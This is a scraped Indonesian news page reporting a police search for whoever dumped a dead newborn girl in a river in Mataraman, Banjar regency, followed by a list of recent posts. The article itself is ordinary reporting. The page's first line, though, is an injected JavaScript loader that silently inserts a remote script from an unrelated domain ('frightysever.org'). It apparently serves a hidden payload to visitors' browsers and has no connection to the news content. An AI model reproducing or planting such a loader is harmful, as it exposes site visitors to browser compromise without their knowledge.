(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Banjar

Aroma Tak Sedap di Aliran Sungai, Polisi Buru Pembuang Bayi di Mataraman


KANALKALIMANTAN.COM, MARTAPURA – Penemuan sesosok mayat bayi di aliran sungai Desa Simpang Tiga, Kecamatan Mataraman, Kabupaten Banjar, gegerkan warga, Minggu (1/7/2021) sekitar pukul 16.00 Wita.

Polsek Mataraman bersama tim Inafis Polres Banjar sudah mengevakuasi ke RSUD Ratu Zalecha Martapura dan melakukan visum.

Penemuan sesosok mayat bayi di aliran sungai Desa Simpang Tiga, Kecamatan Mataraman, Kabupaten Banjar, gegerkan warga, Minggu (1/7/2021). Foto: polsekmataraman

Baca juga: Honorer Guru Deg-degan Tunggu Hasil Seleksi PPPK, Website SSCASN Tak Bisa Diakses 

 

 

Dikonfirmasi Kanalkalimantan.com, Senin (2/7/2021) pagi, Kasi Humas Polres Banjar, Iptu H Suwarji menjelaskan perihal penemuan mayat bayi jenis kelamin perempuan di Sungai Batu Putih, Desa Simpang Tiga, Kecamatan Mataraman.

Ia mengatakan, polisi sudah meminta keterangan saksi-saksi terkait penemuan mayat bayi jenis kelamin perempuan di Sungai Batu Putih, Desa Simpang Tiga tersebut.

Kronologis penemuan bayi, awalnya seorang warga, Ahmad Junaidi hendak memancing di Sungai Batu Putih, namuan kemudian melihat seorang bayi tersangkut di batang dan ranting bambu.

Posisi bayi saat ditemukan miring ke kanan, saksi sempat menekan mayat bayi tersebut dengan bambu ternyata lembek dan tercium aroma tidak sedap, akhirnya penemu awal yakin itu mayat bayi.

Baca juga: Ratusan Ikan Ditemukan Mati di Martapura Timur, Perubahan Cuaca atau Potasium?

Masih menurut, Kasi Humas Polres Banjar, saksi Ahmad Junaidi pulang ke rumah memberitahu pamannya dan keluarga yang lainnya. Kemudian memberitahu Pembakal dan melaporkan penemuan tersebut ke Polsek Matraman.

“Setelah mendatangi TKP dan memastikan laporan tersebut, Kapolsek Mataraman kemudian menghubungi Tim Inafis Polres Banjar untuk mengevakuasi mayat bayi tersebut untuk dibawa ke RS Ratu Zaleha untuk dilakukan visum,” ujar Iptu H Suwarji.

“Untuk saat ini terkait siapa orangtua bayi yang tega itu, masih kita telusuri dan cari tahu siapa orangnya,” jelas Iptu H Suwarji. (kanalkalimantan.com/shintia)

Reporter : shintia
Editor : bie


Risa

Recent Posts

“Embroidery Mini Class” Perayaan Hari Kartini di Lingkungan PLN UIP3B Kalimantan

KANALKALIMANTAN.COM, BANJARBARU - Memperingati Hari Kartini 2024 PT PLN (Persero) Unit Induk Penyaluran dan Pusat… Read More

10 jam ago

Sejarah Hari Tari Sedunia 29 April

KANALKALIMANTAN.COM – Setiap tanggal 29 April diperingati salah satu seni atau ekspresi diri yang tertua… Read More

13 jam ago

Peringati Hari Tari Sedunia, Ratusan Penari Tampil di Taman Budaya Kalsel

KANALKALIMANTAN.COM, BANJARMASIN - Unit Pelaksana Teknis Daerah (UPTD) Taman Budaya Provinsi Kalimantan Selatan (Kalsel) menyelenggarakan… Read More

13 jam ago

Rakerda KNPI Banjarbaru, Rekomendasi Pendirian Gedung Pemuda

KANALKALIMANTAN.COM, BANJARBARU - Dewan Pengurus Daerah (DPD) Komite Nasional Pemuda Indonesia (KNPI) Kota Banjarbaru menggelar… Read More

15 jam ago

Peringati Hari Kartini, PLN Beri Santunan 30 Muslimah Tangguh di Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Semangat memperingati Hari Kartini 2024, PT PLN (Persero) Unit Induk Penyaluran dan… Read More

17 jam ago

Konser Malam Pestaforia Kapuas 2024

KANALKALIMANTAN.COM, KUALA KAPUAS – “Konser Malam Pestaforia Kapuas 2024” menyemarakan Hari Jadi ke-218 Kota Kuala… Read More

18 jam ago

This website uses cookies.